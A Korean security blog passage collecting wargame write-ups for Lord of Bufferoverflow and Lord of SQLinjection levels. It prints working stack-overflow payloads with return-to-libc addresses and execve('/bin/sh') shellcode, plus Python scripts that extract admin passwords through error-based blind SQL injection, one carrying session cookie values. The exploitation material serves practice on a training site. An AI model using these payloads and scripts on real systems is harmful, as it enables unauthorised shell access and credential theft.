RTL로 풀기

작은 버퍼와 stdin 사이즈가 문제의 힌트다.

이전문제에서는 버퍼에 쉘코드를 넣고 ret에 쉘코드의 주소를 넣어서 쉘이 실행되게 했다.

하지만 지난번에 사용한 쉘코드는 25바이트로 버퍼보다 사이즈가 크기 때문에 ret를 바꿀 수가 없다.

따라서 RTL로 풀어야 한다.


버퍼는 아래와 같다.

 buffer[16]

 SFP[4]

RET[4] 

.... 

.... 


RTL은 아래와 같이 오버플로우를 하면 된다.

ret에 system함수의 주소를 넣고 다음 함수를 실행하지 않을 거기 때문에 sfp에는 무작위 값이 들어가고 system 함수의 인자로 /bin/sh을 넣어주면 된다.

이렇게 하면 ret에서 system("/bin/sh")을 실행하는 것과 같다.

\x90\x90................\x90\x90

 \x90\x90\x90\x90\x90

 system 함수 주소

 \x90\x90\x90\x90

/bin/sh 주소


payload :  (python -c 'print "\x90"*20+"\xe0\x8a\x05\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"';cat) | ./goblin


stack을 이용해 문제 풀기

이 문제는 버퍼에 쉘코드를 넣을 수 없는 상황이다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

이럴때 더 높은 영역의 스택영역까지 오버플로우를 일으켜 NOP sled를 타서 쉘코드 까지 가는 방법도 성공할 것이다.

\x90\x90................\x90\x90

 \x90\x90\x90\x90

 ret (NOP sled 주소)

\x90\x90\x90\x90

\x90\x90\x90\x90


\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


ret에 NOP sled 주소를 넣으면 NOP를 타고 쉘코드 까지 내려가서 쉘을 실행 시킬 것이다.

NOP sled 주소는 core dump를 이용해 찾는다.

*' /tmp' 아래에 소스를 컴파일 해 core dump를 뜬다. 홈디렉터리에 있는 파일로 뜨는 것은 권한이 없어서 core dump가 안되는 듯 싶다.

payload : (python -c 'print "\x90"*20+"\x60\xfb\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat) | ./goblin









'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow wolfman  (0) 2017.08.17
Lord of bufferoverflow orc  (0) 2017.08.17
Lord of bufferoverflow goblin  (0) 2017.08.16
Lord of bufferoverflow gremlin  (0) 2017.08.14
Lord of Bufferoverflow gate  (0) 2017.08.14

payload = `python -c 'print "\x90"*20+"\xe0\x8a\x05\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"'`




flag = hacking exposed


'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow wolfman  (0) 2017.08.17
Lord of bufferoverflow orc  (0) 2017.08.17
Lord of bufferoverflow goblin  (0) 2017.08.16
Lord of bufferoverflow cobolt  (0) 2017.08.16
Lord of Bufferoverflow gate  (0) 2017.08.14

홈 디렉터리 리스트를 보면 c소스와 실행 파일이 있다.


C 소스코드는 아래와 같다.

strcpy 함수를 사용해 bof에 취약하다.

이 부분을 공략하면 되겠다.


0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %esp,%ebp
0x8048433 <main+3>:     sub    $0x100,%esp
0x8048439 <main+9>:     cmpl   $0x1,0x8(%ebp)
0x804843d <main+13>:    jg     0x8048456 <main+38>
0x804843f <main+15>:    push   $0x80484e0
0x8048444 <main+20>:    call   0x8048350 <printf>
0x8048449 <main+25>:    add    $0x4,%esp
0x804844c <main+28>:    push   $0x0
0x804844e <main+30>:    call   0x8048360 <exit>
0x8048453 <main+35>:    add    $0x4,%esp
0x8048456 <main+38>:    mov    0xc(%ebp),%eax
0x8048459 <main+41>:    add    $0x4,%eax
0x804845c <main+44>:    mov    (%eax),%edx
0x804845e <main+46>:    push   %edx
0x804845f <main+47>:    lea    0xffffff00(%ebp),%eax
0x8048465 <main+53>:    push   %eax
0x8048466 <main+54>:    call   0x8048370 <strcpy>
0x804846b <main+59>:    add    $0x8,%esp
0x804846e <main+62>:    lea    0xffffff00(%ebp),%eax
0x8048474 <main+68>:    push   %eax
0x8048475 <main+69>:    push   $0x80484ec
0x804847a <main+74>:    call   0x8048350 <printf>
0x804847f <main+79>:    add    $0x8,%esp
0x8048482 <main+82>:    leave
0x8048483 <main+83>:    ret
0x8048484 <main+84>:    nop
0x8048485 <main+85>:    nop
0x8048486 <main+86>:    nop
0x8048487 <main+87>:    nop
0x8048488 <main+88>:    nop
0x8048489 <main+89>:    nop
0x804848a <main+90>:    nop
0x804848b <main+91>:    nop
0x804848c <main+92>:    nop
0x804848d <main+93>:    nop
0x804848e <main+94>:    nop
0x804848f <main+95>:    nop

RET

SFP

BUF[256]




payload 구하기 (RTL)

payload = buf[256] + NOP(4byte) + system address + NOP(4byte) + /bin/sh address



| system 함수 주소 

/bin/sh 주소

C 소스를 컴파일 해 찾기

#include 

int main(int argc, char **argv)
{
        long shell;
        shell = 0x4006b498;  // <=== system()함수의 주소
        while(memcmp((void*)shell,"/bin/sh",8)) shell++;
        printf("\"/bin/sh\" is at 0x%x\n",shell);
        printf("print %s\n",shell);
}




위 코드를 컴파일 하여 실행하면 /bin/sh의 주소를 출력해준다.


payload = `python -c 'print "\x90"*260+"\xe0\x8a\x05\x40"+"\x90\x90\x90\x90"+"\xf9\xbf\x0f\x40"'`



-----------------------------------------------------------------------------------------------------------------------------------------------------------

payload 구하기


`python -c 'print "\x90"*235+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\xb0\xfb\xff\xbf"'`

Ref

1. http://www.hackerschool.org/HS_Boards/data/Lib_system/rtl_sc.txt 
2. http://shayete.tistory.com/entry/4-Return-to-Library-RTL



'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow wolfman  (0) 2017.08.17
Lord of bufferoverflow orc  (0) 2017.08.17
Lord of bufferoverflow goblin  (0) 2017.08.16
Lord of bufferoverflow cobolt  (0) 2017.08.16
Lord of bufferoverflow gremlin  (0) 2017.08.14


문제가 깨져서 못푼다고 한다.

이것도 얼떨결에 클리어

'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection hel_fire  (0) 2017.08.08
Lord of SQLinjection dark_eyes  (0) 2017.08.08
Lord of SQLinjection iron_golem  (0) 2017.08.06
Lord of SQLinjection dragon  (0) 2017.08.05
Lord of SQLinjection nightmare  (0) 2017.08.05


문제가 깨져서 못푼다고 한다.

얼떨결에 클리어

'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection evil_wizard  (0) 2017.08.08
Lord of SQLinjection dark_eyes  (0) 2017.08.08
Lord of SQLinjection iron_golem  (0) 2017.08.06
Lord of SQLinjection dragon  (0) 2017.08.05
Lord of SQLinjection nightmare  (0) 2017.08.05


php 코드를 보면 이전 문제와 비슷하지만 다른점은 에러가 나오면 화면에 아무것도 표시하지 않는다.

이번에는 화면에 아무것도 표시되지 않는 부분을 이용해 error based sql injection을 하면 된다.

조건을 줘서 blind sqlinjection을 하려고 했으나 if가 필터에 걸려있다.. 처음엔 여기를 보고 coalesce를 이용해 풀려고 했으나 복잡하여 다른 방법을 생각하다가 mysql에서 a or b에서 a가 참이면 뒤의 b가 참이 아니여도 참이 된다는 것일 이용해 b 부분에 subquery를 이용해 에러메시지가 나오도록 하면 풀 수 있다는 것을 알았다.


먼저 pw 길이를 구하는 쿼리다.


?pw=' or id='admin' and (length(pw)=8 or (select id union select 2))%23

아래는 pw를 구하는 코드다.

import urllib, urllib2

flag = ""

for i in range(1, 9):
        for j in range(33, 128):
                url = "https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?"
                dat = "pw=%27%20or%20id=%27admin%27%20and%20(ord(mid(pw,{},1))={}%20or%20(select%20id%20union%20select%202))%23".format(i, j)
                print url+dat
                req = urllib2.Request(url+dat)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=; PHPSESSID=')
                res = urllib2.urlopen(req).read()

                if len(res) != 0:
                        print "[+]Find! : {}".format(chr(j))
                        flag += chr(j)
                        break
print "[+] Flag : {}".format(flag)






'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection evil_wizard  (0) 2017.08.08
Lord of SQLinjection hel_fire  (0) 2017.08.08
Lord of SQLinjection iron_golem  (0) 2017.08.06
Lord of SQLinjection dragon  (0) 2017.08.05
Lord of SQLinjection nightmare  (0) 2017.08.05

php 코드를 보면 sleep과 benchmark외엔 싱글쿼터나 기본적인 문자열를 막지는 않는다.

근데 조금 다른점은 이전에는 쿼리를 성공적으로 수행하면 Hello admin 형식으로 id를 출력해준다. 하지만 이 문제는 id를 출력해주지 않는 대신 에러가 터지면 mysql_error를 출력해준다. 

error based sql injection 문제다.


그래서 싱글쿼터를 입력해서 쿼리 에러를 내보면 에러 메시지가 나온다.


order by 1을 했을때는 정상적으로 출력되지만


order by 2를 하면 칼럼 수가 틀렸다는 에러가 나온다.


이제 blind sql injection을 하면 된다.  if 문에서 조건이 틀렸을때 에러 메시지가 출력되도록 하면 된다.

칼럼 수가 1개라는 사실을 알았으니 에러메시지는 두개의 칼럼을 select 하는 것으로 에러를 유도하면 된다.

먼저 pw길이를 구해야한다.

아래는 pw길이를 구하는 코드다.


import urllib2

url = "http://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?"
flag = ""
for i in range(1,20):
        dat = "pw=%27%20or%20id=%27admin%27%20and%20if(length(pw)={},1,(select%201%20union%20select%202))%23".format(i)
        req = urllib2.Request(url+dat)
        req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
        req.add_header('Cookie','__cfduid=de7016e2b19d628553d2de89d20fb8f121501639365; PHPSESSID=jo80vpec0eicr1dt140qpqbkq7')
        res = urllib2.urlopen(req).read()
        if "Subquery returns more than 1 row" not in res:
                flag = str(i)
                break
print "FIND length :" + flag

위의 코드를 돌리면 pw 길이가 16으로 나온다. 하지만 한글자당 4바이트이므로 pw의 길이는 4다.

ex) ?pw=' or if((select id='admin' and length(substr(pw,1,1))=4),1,(select 1 union select 2))%23


그리고 아래는 pw를 구하는 error based blind sql injection 코드다


import urllib2

url = "http://los.eagle-jump.org/iron_golem_d54668ae66cb6f43e92468775b1d1e38.php?"
flag = ""
for i in range(1,5):
        for j in range(33, 127):
                dat = "pw=%27%20or%20if((select%20id=%27admin%27%20and%20ord(substr(pw,{},1))={}),1,(select%201%20union%20select%202))%23".format(i, j)
                req = urllib2.Request(url+dat)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=; PHPSESSID=')
                res = urllib2.urlopen(req).read()
                print url+dat
                if "Subquery returns more than 1 row" not in res:
                        print "FIND! : " + chr(j)
                        flag += chr(j)
                        break
print "FIND PW :" + flag




Ref.http://pjongy.tistory.com/93


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection hel_fire  (0) 2017.08.08
Lord of SQLinjection dark_eyes  (0) 2017.08.08
Lord of SQLinjection dragon  (0) 2017.08.05
Lord of SQLinjection nightmare  (0) 2017.08.05
Lord of SQLinjection succubus  (0) 2017.08.04

문제를 보면 guest 뒤에 주석으로 막혀있어서 pw파라미터에 값을 입력해도 주석으로 처리되어 아무런 의미가 없다.

php코드를 보면 필터로 중요한 문자열이 걸러지지는 않는다.

처음에 고민을 하다가 %0a로 뉴라인을 만들어 주석을 탈출하면되겠다는 생각이 들었다.


처음엔 그냥 %0a 후 or id='admin'#을 입력했으나 Hello guest가 출력되었다.


그래서 로컬 DB에서 비슷하게 환경을 구성했다.


id가 guest 또는 admin일때 출력하는것이기 때문에 guest와 admin이 둘다 출력되면서 guest가 admin보다 위에 저장되어 있어서 guest가 출력된것이다. 


그래서 guest가 거짓이 되도록 뒤에 and 연산자를 이용해 false를 리턴하게 한 후 or로 id='admin' 을 붙이니 admin이 출력되면서 문제가 풀린다.


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection dark_eyes  (0) 2017.08.08
Lord of SQLinjection iron_golem  (0) 2017.08.06
Lord of SQLinjection nightmare  (0) 2017.08.05
Lord of SQLinjection succubus  (0) 2017.08.04
Lord of SQLinjection zombie_assassin  (0) 2017.08.04

이 문제는 pw 파라미터만 입력을 받는다.

pw에 값을 입력하면 ('')에 싸여 쿼리가 완성된다. php코드에서 필터링이 되는 문자를 살펴보면 이전까지 잘 사용하던 #, -- 이 막혀있다.

주석이 두개나 막혀있고, pw에 6글자 보다 많이 입력할 수가 없다.

문제를 풀기 위해 알아야 할 포인트는 mysql에서 문자열을 0과 비교하면 true가 반환된다. 이를 이용하여 문제를 풀면 된다.

그리고 #, --이 막혀있지만 주석을 ;%00으로 우회할 수있다.


비교하는 값의 맨 앞에 문자가 오면 0과 비교했을때 true가 리턴된다.

하지만 비교하는 값의 맨 앞에 숫자가 오면 0과 비교했을때 false를 리턴한다.




'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection iron_golem  (0) 2017.08.06
Lord of SQLinjection dragon  (0) 2017.08.05
Lord of SQLinjection succubus  (0) 2017.08.04
Lord of SQLinjection zombie_assassin  (0) 2017.08.04
Lord of SQLinjection assassin  (0) 2017.08.04

php 코드를 보면 싱글 쿼터가 필터에 막혀있다.

그래서 싱글 쿼터를 우회하는 방법에 대해 검색을 많이 해봤지만.. 역시나 magic_
quote_gpc 나 addslashes외에는 나오지가 않았다.

분명 무슨 방법이 있을거라고 고민하던 중 DB에 싱글쿼터가 들어간 값을  싱글쿼터로 싸인 쿼리에서 뽑을때 그냥 싱글쿼터를 입력하면 에러가 터진다.

따라서 싱글쿼터로 싸인 쿼리에서 싱글쿼터를 포함한 값을 뽑을때는 \' 를 써줘야 싱글쿼터가 문자로 인식된다. 이 방법을 이용하면 이 문제가 풀린다.

id 파라미터에 \를 넣고 pw에서 True값을 만들면 문제가 풀린다.



'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection dragon  (0) 2017.08.05
Lord of SQLinjection nightmare  (0) 2017.08.05
Lord of SQLinjection zombie_assassin  (0) 2017.08.04
Lord of SQLinjection assassin  (0) 2017.08.04
Lord of SQLinjection giant  (0) 2017.08.02

+ Recent posts